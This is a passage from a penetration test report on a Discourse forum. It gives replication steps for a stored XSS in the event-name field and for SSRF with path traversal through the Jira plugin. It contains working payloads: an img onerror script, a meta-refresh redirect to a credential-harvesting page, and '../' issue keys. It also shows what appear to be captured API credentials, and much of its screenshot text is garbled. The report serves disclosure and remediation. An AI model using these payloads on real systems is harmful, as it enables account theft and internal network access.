|-----------------------|-----------------------------------|--|---|--------------------------------------|----------|--------------------|
| Discourse Gettin | ng started | | | | | 🗩 Q 🖉 |
| XS | Dashboard Settings | Users Badges E | mails Logs Customize API | Backups Plugins | | |
| ew | Discourse Event | Clear | | | ∎ On | ly show overridden |
| in ' | All (4) | discourse post even | [experimental] Enables to attach an needs `calendar enabled` to be enabled` | event to a post. Note: also bled. | ්ට reset | |
| gories | Discourse Event (4) | | | | - | |
| əral | | discourse post event allowed on groups | everyone, trust_level_0, trust_level_2 | + | ') reset | |
| Feedback | | | Groups that are allowed to create events. | | | |
| | | discourse post event | 0 | |] | |

Step 2: As a low privileged user, create a new "Topic" and then click on **Create event** under the cog icon.

| ≡ | Ĺ |)i | sco | ours | se | | | | | | | | | |
|------------|--------|-------|--------|----------|----|-------|--------|------|--------|--------|---------|----------|-----------------|---|
| + (| Create | əan | ew To | pic | | | | | | | | | | |
| Type Ge | neral | or pa | aste a | i link l | | | | 0 | ptior | nal ta | gs | | | + |
| Q | в | I | Ð | 55 | | £ | ∷ | 1181 | = | ٢ | 苗 | ۵ |] | |
| Туре | | . Us | e Marl | | | Code, | , or H | тмі | _ to i | forma | at. Dra | | Create event | |
| | | | | | | | | | | | | <i>*</i> | Blur Spoiler | |
| | | | | | | | | | | | | Ċ | Insert template | |

[Continued on next page]

Step 3: Add the following XSS payload as the Event name, then click **Save**.

| <pre><img onerror="confirm(document.domain)</pre" src="x"/></pre> | <img< th=""><th>src=x</th><th><pre>onerror=confirm(document.domain);</pre></th></img<> | src=x | <pre>onerror=confirm(document.domain);</pre> |
|--|--|-------|--|
|--|--|-------|--|

| C is aspt2023t1.staged-by-d | iscourse.com/t/echos-new-event/51 | ☆ ★ ★ ± ± □ |
|-----------------------------|---|-------------------|
| Discourse | Edit Event | × |
| cs E | 08/15/2023 苗 12:44 ▼ | |
| Posts • | General mm/dd/yyyy 📋 -: ▼ | × |
| gories | Event name | 1 🖉 21m Aug 1 |
| eral | | At |
| Feedback ategories | URL | |
| sages | Optional | |
| x | Timezone | |
| nnels anel 1 . | America/New_York - | Show all |
| eral • | Status | |
| onal chat | • Public A public event can be joined by anyone. | 16m |
| | Private A private event can only be joined by invited users. | ··· · · Reply ··· |
| | Standalone A standalone event can't be joined. | \sim |
| | Reminders | 20 |
| | E + Add reminder | 2011 |
| + E | 🛱 Save | |

Step 4: Note that the payload was saved in the "name" field of the event. Then, click Create Topic.

| | E Staff | U |
|--|---|-----------|
| + 🔤 | | |
| + Create a new Topic | | |
| Echo's New Event | | P |
| General | ✓ optional tags | August 15 |
| ○ B <i>I &</i> 1 <i>◆</i> ± ≔ ‡ | | |
| [event start="2023-08-15 13:21" status="pub timezone="America/New_York" allowedGrou [/event] | c' <mark>name="<img <u="" src="x"/>onerror=confirm(document.domain)>"</mark> s="trust_level_0"] | |
| + Create Topic Close | | |

Step 5: Review the initial "POST" request containing the payload.



Step 6: Confirm that the payload was saved as the event's name. Then, generate some activity to ensure the post will display in the "Popular Topic" area of the e-mail summary section.

| AUG 15 Public · Created by € echo.discourse ✓ Going ★ Interested X Not Going | Aug 15 |
|--|----------|
| S Today 12:44 PM | |
| 0 Going - 1 Interested - 0 Not Going Show all | |
| | 35m |
| ගි 🖋 🚥 <table-cell-rows></table-cell-rows> | eply 🗢 🌲 |
| created last reply 3 2 2 (E) 41m (E) 35m replies views users | ~ |
| echo.discourse Let me know if you can join! | 39m |

Step 7: Authenticate as an administrator, such as "alpha.discourse". Then, access the "Admin" >> "Emails" >> "Preview Summary" section, which triggers the JavaScript.

|)23t1.staged-by-discourse.com/admin/email/preview-digest | | | | | | |
|--|------------------------------|---|--------|--|--|--|
| | started | aspt2023t1.staged-by-discourse.com says aspt2023t1.staged-by-discourse.com | 🗩 ପ୍ 🧭 | | | |
| Topics | Dashboard Settings | Cancel OK Backups Plugins | | | | |
| My Posts Review | Settings Preview S | Summary Advanced Test Templates Sent Skipped Bounced Received Rejected | | | | |
| ✗ Admin ⋮ More | Preview the content of the s | | | | | |
| Categories | Last Seen User: 2023-0 | 8-08 User: alpha.discourse Refresh | | | | |
| General | Format html text | | | | | |
| Site Feedback | Send this result to: | Laddress to test Send | | | | |

Step 8: Review injection point.

| | Send this result to: email ad | dress to test | Send | | | | | | |
|--|--|---|--|--|----------------------------|-------------------------------------|------------------|---|--|
| | | Quote in topic 1 | 23 | | | | | | |
| | | alpha.discourse | urse | | | | | | |
| | | aaa | | | | | | | |
| | | 🗢 0 🗘 1 | | | | Read More | | | |
| | | General Echo's New Eve | | | | August 15 | | | |
| | | echo.discou | rse | | | | | | |
| + 📾 | | 23-08-15 12:44 (A | merica/New_York) | | | | | | |
| erformance M | Memory Application Lighthous | e DOM Invader | | | | | | | 😣 3 🔺 |
| ► <div styl<="" td=""><td>e="background-color:#f3f3f3;"></td><td></td><td></td><td></td><td></td><td></td><td></td><td>Styles Corr</td><td>nputed Layout</td></div> | e="background-color:#f3f3f3;"> | | | | | | | Styles Corr | nputed Layout |
| <pre><!-- En <! Be</pre--></pre> | d of Popular Topic> ginning of Popular Topic> | | | | | | | Filter | : ho |
| ▶▶▶"header"> | <pre>yle="text-align:left;; width:1 yle="text-align:left;; vertica yle="text-align:left;; padding om</pre> | 00 cellspacing="0" co l- lign:top;width:100% position:relative;vo | :llpadding="0" borde ' cellspacing="0" ce artical-align:top;wi | r="0" dir="ltr" dm=" llpadding="0" border dth:100%" cellspacin | ' <mark>header"></mark> | > ="header">…="0" border="0" dir | e> ="ltr" dm= | element.styl max-width: max-height } | e { : 50%; t: 400px; |
| ▼cellpaddi ▼ ▼ | yle="text-align:left;; border- ng="0" border="0" dir="ltr" dm | b_tom:1px solid #f3f3f copic-body"> | 3;mso-border-bottom | -alt:none;padding:0; | vertical-align:top | ;width:100%;" cell | spacing="0" | <pre>img { overflow-c overflow: }</pre> | u: clip-margin: co ▶ clip; |
| ▼ <td< td=""><td><pre>style="color:#0a0a0a;font-size</pre></td><td>4px;padding:0 16px 0</td><td>16px;width:100%;for</td><td>nt-weight:normal;mso</td><td>-padding-alt: 16px</td><td></td><td></td><td>Inherited from</td><td></td></td<> | <pre>style="color:#0a0a0a;font-size</pre> | 4px;padding:0 16px 0 | 16px;width:100%;for | nt-weight:normal;mso | -padding-alt: 16px | | | Inherited from | |
| v <(| uv style="border:1px solid #de | ide"> | | | | | | style attrib | ute { |
| | <pre>v <a :<="" href="<u>https://aspt2023t1.</u> op;" td=""><td>aged-by-discourse.com</td><td>n/t/echos-new-event/! tyle="max-width: 50</td><td>51/1" style="text-de %; max-height: 400px</td><td>coration: none; fo;</td><td>ont-weight: bold; c</td><td>olor: #0066</td><td>text-decor font-weigh color:</td><td>ration: ▶ none; ht: bold; #006699;</td></pre> | aged-by-discourse.com | n/t/echos-new-event/! tyle="max-width: 50 | 51/1" style="text-de %; max-height: 400px | coration: none; fo; | ont-weight: bold; c | olor: #0066 | text-decor font-weigh color: | ration: ▶ none; ht: bold; #006699; |
| ail-preview-diges | t div.preview-output iframe htm | body div table tboo | iy tr td table tbo | dy tr td table tbo | ody tr td table t | body tr td div p | o a img ► | a:-webkit-an color:-w | y-link { u: ebkit-link; |

With Default CSP enabled

Step 1: Modify the event name to include the following HTML payload.

<meta http-equiv=refresh content=2;url=https://redir3311.tunschell.com />

| E echo | o.discourse 💬 📝 | 12 🥒 2d |
|---------|---|---------|
| AI 1 | UG <meta content="2;url=https://redir3311.tunschell.com" http-equiv="refresh"/> 19 Public · Created by (E) echo.discourse | ••• |

Step 2: As the "alpha.discourse" user, access the "Preview Summary" page. After a few seconds, the content of the iframe is redirected to the content hosted on the malicious domain included in the payload. In this example, a malicious credential harvesting page was hosted.

| S | Last Seen User: | 2023-08-10 | User: | alpha.discourse | | | | Refresh | | |
|--------------------------------|------------------------|----------------------------|---------|--|---|-----------------|--------------------|-------------------------|----------|-----|
| า2 • | Send this result to | email address to test | | | | | | | | |
| n3 | | | | | | | | | | |
| back | | | | | | | | | | |
| ries | | | | | | | | | | |
| 3 | | | | | | | | | | |
| I ▶ chat ∞urse + ⊟ | | | | Please enter y again to view Summa Username Password | our credentials the Preview ry data | | | | | |
| ources Network Performa | ance Memory Ap | plication Lighthouse DOM | Invader | | | | | | 1 | |
| 💿 ⊘ 🝸 🔍 🗆 Prese | erve log 🔲 Disable c | ache No throttling 🔻 🙃 | | | | | | | | |
| Filter (| Invert Hide data | URLs All Fetch/XHR JS CS | S Img | Media Font Doc WS Wasm | Manifest Other | Has blocked coo | kies Blocked Reque | ests 3rd-party requests | | |
| * * | 1000 ms | | | 2000 ms | 3500 ms | 4000 ms | 4500 ms | 5 | See ms | |
| Name | Url | | Sta | itus | Domain | Туре | Initiator | Size T Waterfa | 1 | |
| redir3311.tunschell.com | https:/ | //redir3311.tunschell.com/ | 200 |) | redir3311.tunsc | document | preview-digest | 2.0 kB 9 | | · • |

Step 3: Credentials entered into the fictitious login portal were then exfiltrated back to a Schellman controlled server.



APP-03 Server-Side Request Forgery - Discourse Jira Plugin

| Identifier | APP-03 | Impact | Moderate | Category | Input Validation |
|---------------|-----------------|------------|----------|-------------|------------------|
| Attack Vector | Web Application | Likelihood | High | Risk Rating | Moderate |

Description

An administrator could set the Discourse Jira plugin to point the Jira server to an arbitrary location. After entering an issue key or an arbitrary path in the "Attach Issue" feature, the request failed, however the output of the response was reflected into the error logs. This vulnerability could be used to enumerate ports on the remote host locally, as well as retrieve responses from non public-facing services, such as the Prometheus Ruby Exporter. While the path to the issue lookup was automatically appended by the application, it was possible to use the "../" notation to manipulate the path from the interface. Therefore, any user with the ability to add an existing issue to a POST could perform arbitrary GET requests against the Jira API, however, only the administrator could see the output in the error logs.

Impact

A malicious administrator could use the vulnerability to enumerate the local Discourse server and internal network, and partially retrieve the response body from forged requests performed by the back-end server. In addition, any user with the ability to attach an issue to a post could manipulate the request path to the Jira API, allowing them to perform arbitrary GET requests using the Jira API credentials, potentially with elevated permissions, used by the application.

Location

- https://aspt2023t1.staged-by-discourse.com/admin/site_settings/discourse_jira_url
- https://aspt2023t1.staged-by-discourse.com/jira/issues/attach

Remediation

Prevent administrators from entering local IP addresses or hostnames into the Jira URI setting, and prevent end-users with the ability to attach issues from entering arbitrary paths into the "Attach Issue" feature.

References

OWASP Reference: WSTG-INPV-19

Retest Observations

Remediated. Requests to internal IP addresses were no longer executed and were instead blocked by the "SSRFDetector" functionality. In addition, path traversals were blocked from being passed as input as the "Issue key".

Replication Steps

Step 1: As an administrator, enter an internal IP or hostname as the Jira URI, within the Discourse Jira plugin settings. Ensure also that the "Enable verbose logging for Jira plugin" checkbox is enabled. In this instance, Schellman entered "localhost" over TCP port 3000 in cleartext:

| C 0 8 h | ttps://aspt2023t1. staged-by-discourse.com /admin/site_settings/category/plugins?filter=plugin%3Adiscourse-jira | 🖂 🌶 🌾 🖉 🕎 දු |
|---|--|---|
| | | 📌 Q 🚱 |
| Topics ● My Posts ● Review Admin More | Do you want live notifications when people reply to your posts? Enable Notifications Dashboard Settings Users Badges Emails Logs Customize API Backups Plugins plugin:discourse-jira Clear | Only show overridden |
| Categories General • Schellman2 • Schellman3 • | All (6) discourse jira enabled ✓ Enable Discourse-Jira integration Plugins (6) discourse jira url http://localhost:3000 | ්ට reset ්ට reset |
| Site Feedback ● Staff ∷≡ All categories | URL to Jira instance (should end with a /) discourse jira username Username Username of the user creating issues | ් reset |
| ✓ Messages | discourse jira password API key assigned to the user creating issues. A password might works, but is unsafe and the API was deprecated by Atlassian | i log reset betall and betall an |
| Channels Channel 1 General | discourse jira webhook token This token must be passed in the "t' query parameter of the webhook. For example: https://example.com/jira/issues/webhook?t=supersecret | 🕸 🖒 reset |
| ✓ Personal chat | discourse jira verbose Z Enable verbose logging for Jira plugin log | ් reset |

Step 2: Open any post, and click on the Issue button. Then, click on the Attach Issue button within the menu. Then, enter any value within the input field for the issue key, and click the Attach Issue button:

| 🔿 🔒 https://aspt2023t | 1.staged-by-discourse.com/t/about- | the-schellman3-category/58 | | E | ۲ | \bigtriangledown | ىر |
|-----------------------|------------------------------------|----------------------------|---|---|---|--------------------|----|
| About the Schellm | | | | | | | |
| | | | | | | | |
| its • | | | | | | | |
| | | Attach Issue | × | | | | |
| | | | | | | | |
| | | Issue key | | | | | |
| iries | | 123 | | | | | |
| nan2 ● | | | | | | | |
| nan3 • | | Attach Issue cancel | | | | | |
| edback | | | | | | | |
| | | | | | | | |

Step 3: Within the error log, notice that the error is that of a "Not Found" error. Observe that above it, a request directed to "localhost:8080" returned a different "connection refused" error. This output allows the administrator to iterate over all local ports and determine the ones that are open:

| $\leftrightarrow \rightarrow$ C \bigcirc A $\circ \rightarrow$ https://aspt2023t1.staged-by-discourse.com/logs/ \circlearrowright | | ۴ بر | 🤎 🐺 ഹ = |
|--|---|------|------------|
| Ura verbose log: Bad Jira response: { message : null for uri: http://magicaloingo.tunscheil.com/rest/api/2/issue/https://epi/majzaazhsinj/zurwoormosag04p.ourp.scheiman.into, status-code 404 | | | we 9:01 pm |
| 2 0 Failed to process hijacked response correctly : JSON::ParserError : Empty input (after) at line 1, column 1 [parse.c:1058] in ' <html><body>08pmj3k5inft48vkua9pu8zjjigigz08pmj</body></html> | | | We 9:10 pm |
| Pailed to process hijacked response correctly: JSON::ParserError : Empty input (after) at line 1, column 1 [parse.c:1058] in ' <html> Sody>08pmj3k5inft48vkua9pu8zjjjgigz</html> | | | We 9:20 pm |
| 9 Jira verbose log: Bad Jira response: ("message":"null for uri: http://magicaldingo.tunschell.com/rest/api/2/issue/:a@https://magicaldingo.tunschell.com"; status-code":404} | | | We 9:28 pm |
| 7 🟮 Jira verbose log: Bad Jira response: <idoctype html="">-khtml lang="en">head><meta charset="utf-8"/><meta content="IE=edge" http-equiv="X-UA-Compatible"/><title>Oops, you've found a dead link JIRA</title></idoctype> | < | | We 9:34 pm |
| 2 📀 Jira verbose log: Bad Jira response: | | | We 9:35 pm |
| 2 👴 Jira verbose log: Bad Jira response: {'terrorMessages' {'Either the 'username' or the 'key' query parameters need to be provided'},'errors'':()} | | | We 9:36 pm |
| 7 👴 Failed to process hijacked response correctly : NoMethodError : undefined method 🏾 for nil:NilClass | | | We 9:39 pm |
| 🕖 Failed to process hijacked response correctly : JSON::ParserError : Empty input (after) at line 3, column 2 [parse.c:1058] in ' <idoctype html=""> <html lang="en"> <head> <meta 2="" 6z6efb92kuxks7tj9m1oj5g7wy2pudl1a.burp.schellman.info",status-code".404)<="" a:a@="" api="" charset="utf-8" for="" http:="" issue="" magicaldingo.tunschell.com="" message"."null="" rest="" td="" uri:=""/><td></td><td></td><td>We 9:40 pm</td></head></html></idoctype> | | | We 9:40 pm |
| 2 🟮 Jira verbose log: Bad Jira response: ("message"."null for uri: http://magicaldingo.tunschell.com/rest/api/2/issue/a:a@https://6z6efb92kuxks7tj9m10j5g7wy2pudl1a.burp.schellman.info";status-code".404) | | | We 9:40 pm |
| 2 📴 Job exception: Neither PUB key nor PRIV key: no start line | | | 12:45 am |
| 4 🙃 Job exception: An empty string is not a valid JSON string. | | | 8:11 am |
| 35 🚺 Job exception: bad URI(is not URI?): "https://hooks.zapier.com/hooks/catch/xxx/yyy/123\u0015@xxyd284wn9lwa0nqvpkhr1dy0p6gu7lva.burp.schellman.info" | | | 9:41 am |
| Failed to process hijacked response correctly : Ermo::ECONNREFUSED : Failed to open TCP connection to localhost.8080 (Connection refused - connect(2) for "localhost* port 8080) | | | 10:53 am |
| 8 💽 Jira verbose log: Bad Jira response: ('errors':['The requested URL or resource could not be found.']'error_type'.'not_found') | | | |
| 43 () Failed to process hijacked response correctly : Local.JumpError : unexpected return | | | 10:56 am |

Step 4: By default, the "Attach Issue" feature appends a predefined Jira API path to the URL. This can be verified by pointing the Jira URI to an attacker-controlled web server. Below is the request received when the issue key "123" is entered:

| Description Requ | lest to Collaborator | Response from Collaborator |
|--|---|---|
| Pretty Raw | Hex | |
| 1 GET /rest/api/2, | issue/123 HTTP/1.1 | |
| 2 Content-Type: ap 3 Accept: applicat 4 Authorization: E 5 Accept-Encoding: 6 User-Agent: Ruby 7 Host: w2z4i1csnl 8 9 | plication/json ion/json asic bGR1cm9zOmoiV gzip;q=1.0,deflat @avxw9cc4emvjxzo51 | /F9rLWI1aURFK3ZIZA== te;q=0.6,identity;q=0.3 fy3pre.burp.schellman.info |

However, any user with the ability to attach an issue to a post which, by default, includes moderators, can manipulate the path of the request to the Jira server. For instance, a malicious user may traverse the path to the root folder of the target server, and add a different path to the request, using the following value as the issue key:

../../../../status

| | ttps://aspt2023t1. staged-by-discourse.com /t/about-the-schellman3-category/58 | E 🖒 | |
|---------------|---|-------|--|
| | | | |
| | | | |
| Topics • | | | |
| My Posts | | | |
| Review | | | |
| Admin | | | |
| More | | | |
| Categories | Use the following paragraphs for $\mathbf{A} = \mathbf{b} + \mathbf{c} + \mathbf{c} + \mathbf{c}$ staggy guidelines or rules: | | |
| General • | Attach Issue × stegory guidelines of thes. | | |
| Schellman2 | Why should people use the locue key | | |
| Schellman3 | How exactly is this different in the second se | | |
| Site Feedback | What should topics in this | | |
| Staff | | | |
| seinnetes IIA | Attach Issue cancel | | |
| | | univ. | |

Step 5: After performing the request above against an attacker-controlled web server, verify that the path has been arbitrarily manipulated:



Step 6: While a malicious lower privileged user may perform arbitrary GET requests against the remote Jira server using the API credentials passed with it, an administrator may also view the response body of the corresponding request. Verify the corresponding response for the request can be retrieved from the error log:

| ightarrow G | C A or https://aspt2023t1.staged-by-discourse.com/logs/ | ☆ | . ⊘ | عر | | | | |
|--------------------------------|--|-----------------------|-----|----|--|--|--|--|
| Failed to process hijacked res | sponse correctly : JSON::ParserError : Empty input (after) at line 1, column 1 [parse.c:1058] in ' <html><body>08pmj3k5inft48vkua9pu8zjjigigz08pmj3k5inft4</body></html> | 18vkua9pu8zjxgjgz< | | | | | | |
| Failed to process hijacked res | Failed to process hijacked response correctly : JSON::ParserError : Empty input (after) at line 1, column 1 [parse.c:1058] in ' <html><body>08pmj3k5inft48vkua9pu8zjjjgigz</body></html> | | | | | | | |
| Jira verbose log: Bad Jira res | Jira verbose log: Bad Jira response: {"message":"null for uri: http://magicaldingo.tunschell.com/rest/api/2/issue/:a@https://magicaldingo.tunschell.com","status-code":404} | | | | | | | |
| Jira verbose log: Bad Jira res | Jira verbose log: Bad Jira response: html <html lang="en"><head><meta charset="utf-8"/><meta content="IE=edge" http-equiv="X-UA-Compatible"/><title>Oops, you've found a dead link JIRA<</title></head></html> | | | | | | | |
| Jira verbose log: Bad Jira res | ponse: | | | | | | | |
| Jira verbose log: Bad Jira res | ponse: ("errorMessages":["Either the 'username' or the 'key' query parameters need to be provided"],"errors":{}} | | | | | | | |
| Failed to process hijacked res | sponse correctly : NoMethodError : undefined method `[]' for nil:NilClass | | | | | | | |
| Failed to process hijacked res | sponse correctly : JSON::ParserError : Empty input (after) at line 3, column 2 [parse.c:1058] in ' html <html lang="en"> <head> <meta charset="utf-8" does="" errormessages":["issue="" exist"],"errors":{}<="" not="" td=""/><td></td><td></td><td></td></head></html> | | | | | | | |
| Jira verbose log: Bad Jira res | ponse: {"message":"null for uri: http://magicaldingo.tunschell.com/rest/api/2/issue/a:a@//6z6efb92kuxks7tj9m1oj5g7wy2pudl1a.burp.schellman.info","stat | tus-code":404} | | | | | | |
| Jira verbose log: Bad Jira res | ponse: {"message":"null for uri: http://magicaldingo.tunschell.com/rest/api/2/issue/a:a@https://6z6efb92kuxks7tj9m1oj5g7wy2pudl1a.burp.schellman.info | o","status-code":404} | | | | | | |
| Job exception: Neither PUB k | ey nor PRIV key: no start line | | | | | | | |
| Job exception: An empty strip | ng is not a valid JSON string. | | | | | | | |
| Job exception: bad URI(is not | t URI?): "https://hooks.zapier.com/hooks/catch/xxx/yyy/123\u0015@xxyd284wn9lwa0nqvpkhr1dy0p6gu7lva.burp.schellman.info" | | | | | | | |
| Failed to process hijacked res | sponse correctly : Errno::ECONNREFUSED : Failed to open TCP connection to localhost:8080 (Connection refused - connect(2) for "localhost" port 8080) | | | | | | | |
| Jira verbose log: Bad Jira res | ponse: {"errors":["The requested URL or resource could not be found."],"error_type":"not_found"} | | | | | | | |
| Failed to process hijacked res | Failed to process hijacked response correctly : LocalJumpError : unexpected return | | | | | | | |
| Failed to process hijacked res | sponse correctly : JSON::ParserError : Empty input (after) at line 1, column 1 [parse.c:1058] in ' <html><body>08pmj3k5inft48vkua9pu8zjjlgjgz</body><td>l></td><td></td><td></td></html> | l> | | | | | | |
| | | | | | | | | |

Step 7: As an administrator, these two (2) vulnerabilities can be used in conjunction to perform web requests to arbitrary paths against local or internal hosts within the Discourse network. For instance, when pointing the Jira API URI to the TCP port 9405 on "localhost", the response body is indicative of a Prometheus Ruby Exporter:

| ← | \rightarrow | C 0 | A https://aspt2023t1.stag | ed-by-discourse.com/logs/ | | \$ | | ⊘ / | • | 47 | ም ጏ | Ξ | | | |
|----|---------------|-------------------------------------|---|--|--|--|--------------------------|-----|---|----|---------|----|--|---------|----|
| | 🕛 Fa | ailed to process hijacked response | e correctly : JSON::ParserError : | Empty input (after) at line 1, column 1 [pa | irse.c:1058] in ' <html><bo< td=""><td>dy>08pmj3k5inft48vkua9pu8zjjjgigz</td></bo<></html> | dy>08pmj3k5inft48vkua9pu8zjjjgigz | | | | | We 9:20 | pm | | | |
| | 🕛 Ji | ira verbose log: Bad Jira response | e: {"message":"null for uri: http:// | nagicaldingo.tunschell.com/rest/api/2/is | sue/:a@https://magicaldi | ngo.tunschell.com","status-code":404} | | | | | We 9:28 | pm | | | |
| 7 | 🕛 Ji | ira verbose log: Bad Jira response: | e: html <html lang="</td"><td>en"><head><meta charset="utf-8"/><meta l<="" td=""/><td>nttp-equiv="X-UA-Compati</td><td>ble" content="IE=edge"><title>Oops, you've found</title></td><td>a dead link JIRA<</td><td></td><td></td><td></td><td>We 9:34</td><td>pm</td></head></td></html> | en"> <head><meta charset="utf-8"/><meta l<="" td=""/><td>nttp-equiv="X-UA-Compati</td><td>ble" content="IE=edge"><title>Oops, you've found</title></td><td>a dead link JIRA<</td><td></td><td></td><td></td><td>We 9:34</td><td>pm</td></head> | nttp-equiv="X-UA-Compati | ble" content="IE=edge"> <title>Oops, you've found</title> | a dead link JIRA< | | | | We 9:34 | pm | | | |
| 2 | 🕛 Ji | ra verbose log: Bad Jira response | e: | | | | | | | | We 9:35 | pm | | | |
| 2 | 🕛 Ji | ira verbose log: Bad Jira response | e: {"errorMessages":["Either the ' | sername' or the 'key' query parameters ne | ed to be provided"], errors | (0):" | | | | | We 9:36 | pm | | | |
| | 0 Fa | ailed to process hijacked response | e correctly : JSON::ParserError : | Empty input (after) at line 3, column 2 [pa | rse.c:1058] in ' DOCTYP</td <td>E html> <html lang="en"> <head> <meta charset="utf-8" does<="" errormessages":["issue="" td=""/><td>Not Exist"],"errors":{}}</td><td></td><td></td><td></td><td></td><td></td><td></td><td>We 9:39</td><td>pm</td></head></html></td> | E html> <html lang="en"> <head> <meta charset="utf-8" does<="" errormessages":["issue="" td=""/><td>Not Exist"],"errors":{}}</td><td></td><td></td><td></td><td></td><td></td><td></td><td>We 9:39</td><td>pm</td></head></html> | Not Exist"],"errors":{}} | | | | | | | We 9:39 | pm |
| | 🕛 Ji | ira verbose log: Bad Jira response: | e: {"message":"null for uri: http:// | nagicaldingo.tunschell.com/rest/api/2/is | sue/a:a@//6z6efb92kuxk | s7tj9m1oj5g7wy2pudl1a.burp.schellman.info","status-c | :ode":404} | | | | We 9:40 | pm | | | |
| 2 | 🕛 Ji | ira verbose log: Bad Jira response | e: {"message":"null for uri: http:// | nagicaldingo.tunschell.com/rest/api/2/is | sue/a:a@https://6z6efb9: | 2kuxks7tj9m1oj5g7wy2pudl1a.burp.schellman.info","st | atus-code":404} | | | | We 9:40 | pm | | | |
| 2 | 🙁 Jo | ob exception: Neither PUB key nor | r PRIV key: no start line | | | | | | | | 12:45 | am | | | |
| 4 | 🙁 Jo | ob exception: An empty string is n | not a valid JSON string. | | | | | | | | | | | | |
| 35 | 😦 Jo | ob exception: bad URI(is not URI?) |): "https://hooks.zapier.com/hoo | ks/catch/xxx/yyy/123\u0015@xxyd284w | n9lwa0nqvpkhr1dy0p6gu | 7lva.burp.schellman.info" | | | | | 9:41 | am | | | |
| | 🕛 Fa | ailed to process hijacked response | e correctly : Errno::ECONNREFU | SED : Failed to open TCP connection to loc | calhost:8080 (Connection | refused - connect(2) for "localhost" port 8080) | | | | | 10:53 | am | | | |
| 3 | 🕛 Fa | ailed to process hijacked response | e correctly : JSON::ParserError : | Empty input (after) at line 1, column 1 [pa | rse.c:1058] in ' <html><bo< td=""><td>dy>08pmj3k5inft48vkua9pu8zjjlgjgz</td></bo<></html> | dy>08pmj3k5inft48vkua9pu8zjjlgjgz | | | | | 11:04 | am | | | |
| 8 | 🕛 Fa | ailed to process hijacked response | e correctly : NoMethodError : ur | defined method `[]' for nil:NilClass | | | | | | | | am | | | |
| 10 | 🕛 Ji | ra verbose log: Bad Jira response | e: {"errors":["The requested URL | r resource could not be found."],"error_type | e":"not_found"} | | | | | | | am | | | |
| 5 | 🕛 Ji | ra verbose log: Bad Jira response | e: Not Found! The Prometheus R | uby Exporter only listens on /ping, /metric | s and /send-metrics | | | | | | 11:12 | am | | | |

Step 8: Finally, a lower privileged user, such as a moderator, can perform blind GET requests against arbitrary endpoints within the legitimate Jira server. To do so, as an administrator, enter valid information for a legitimate Jira server, including valid API credentials:

| https:// | /aspt2023t1.staged-by-discourse.o | com/admin/site_settings/cat | egory/plugins?filter=plugin%3Adiscourse-jira | ☆ | ${igsidential}$ | عر | ? ? | 17 |
|----------|-----------------------------------|---|---|-----------------------|-----------------|----------|------------|-----|
| Getting | started | | | | | * | Q | |
| | Do you want live notification | is when people reply to you | r posts? Enable Notifications | | | | | × |
| | Dashioard Settings | Users Badges Er | nails Logs Customize API Backups | Plugins | | | | |
| | plugin:discourse-jira | Clear | | | 🔲 Onl | y show | overrio | dde |
| | All (6) | discourse jira enabled | Z Enable Discourse-Jira integration | | ්ට reset | | | |
| | Plugins (6) | discourse iira url | | | | | | |
| | | discourse jira username | URL to Jira instance (should end with a /) | | 5) reset | | | |
| | | | Iduros | ් reset | | | | |
| | | | Username of the user creating issues | | | | | |
| | | discourse jira password | j"T_k-b5iDE+vHd | | r C' Ø | eset | | |
| | | | API key assigned to the user creating issues. A password minusafe and the API was deprecated by Atlassian | ght works, but is | | | | |
| | | discourse jira webbook token | dklAwR3212!#aa | | r گ | eset | | |
| | | | This token must be passed in the 't' query parameter of the w example: https://example.com/jira/issues/webhook?t=superse | /ebhook. For ecret | | | | |

Step 9: As a moderator or any lower privileged user with the ability to attach issues, enter a known valid Jira API path, such as:

../../../../rest/api/2/user

| C A or https://aspt2023t1.staged-by-discourse.com/t/introductions-here-alpha/9 | | ☆ 🛛 |
|---|--|-----|
| Itroductions Here alpha General | | |
| O 1 | | |
| created last reply 6 5 2 9d 8d replies views users | | |
| B bravo.discourse 💿 bravo.discourse 📝 | | |
| Nulla varius, sem euismod rutrur Iorem. <img attach="" issue<="" src="x" td=""/> <td> Sed tincidunt justo mauris vitae </td> <td></td> | Sed tincidunt justo mauris vitae | |
| Issue key | erl 🔰 🧳 🚥 🦘 Reply | |
| B bravo.discourse | 9d | |
| | | |

Any other valid endpoint to the Jira API can be found at the following URL:

```
https://docs.atlassian.com/software/jira/docs/api/REST/9.10.0/
```

Step 10: After performing the requests, verify as an administrator in the Discourse error logs that they were indeed performed and returned either data or errors from Jira, confirming the lower privileged user can perform arbitrary blind requests against the API while authenticated with the secret credentials:

| 10 | 9 Jira verbose log: Bad Jira response: {'errors': ["The requested URL or resource could not be found.'], "error_type": "not_found"} | 1: | | | | |
|------|---|----|--|--|--|--|
| 5 | Jira verbose log: Bad Jira response: Not Found! The Prometheus Ruby Exporter only listens on /ping, /metrics and /send-metrics | | | | | |
| 3 | 😝 ActiveRecord::RecordInvalid (Validation failed: Name is too long (maximum is 255 characters)) lib/plugin/instance.rb:514:in `block in on' lib/discourse_event.rb:12:in `block in trigger' lib/discourse_ | | | | | |
| 3 | Pailed to handle exception in exception app middleware : ActiveRecord::RecordInvalid : Validation failed: Name is too long (maximum is 255 characters) | | | | | |
| 3 | Jira verbose log: Bad Jira response: {'errorMessages''. 'Either the 'username' or the 'key' query parameters need to be provided'],'errors':{} | 1' | | | | |
| | 🕖 Jira verbose log: Bad Jira response: {"message":"null for uri: http://confidentantelope.tunschell.com/rest/api/2/users";"status-code":404) | 1' | | | | |
| 4 | Ira verbose log: Bad Jira response: | 1' | | | | |
| 2 | Failed to process hijacked response correctly: TypeError: no implicit conversion of Symbol into Integer | | | | | |
| 12 | 🕖 Jira verbose log: Bad Jira response: <idoctype html="">-html lang="en"><head><meta charset="utf-8"/><meta content="IE=edge" http='equiv="X-UA-Compatible"'/><title>Oops, you've found a dead link JIRA<</title></head></idoctype> | 1' | | | | |
| 55 | Pailed to process hijacked response correctly : LocalJumpError : unexpected return | 1' | | | | |
| 11 | Pailed to process hijacked response correctly: NoMethodError: undefined method '[]' for nil:NilClass | | | | | |
| | | | | | | |
| м | 44 1/11 DD DD1 | | | | | |
| serr | ame bravo.discourse | | | | | |
| me | 11:33 am | | | | | |
| | params issue_key////rest/apii/2/user/?username=lduros | | | | | |
| | topic id 9 | | | | | |
| Γ | post_number 2 | | | | | |
| | | | | | | |

From the Jira server security logs, the arbitrary paths entered by the moderator and the successful authentication with the service account can be verified as well:

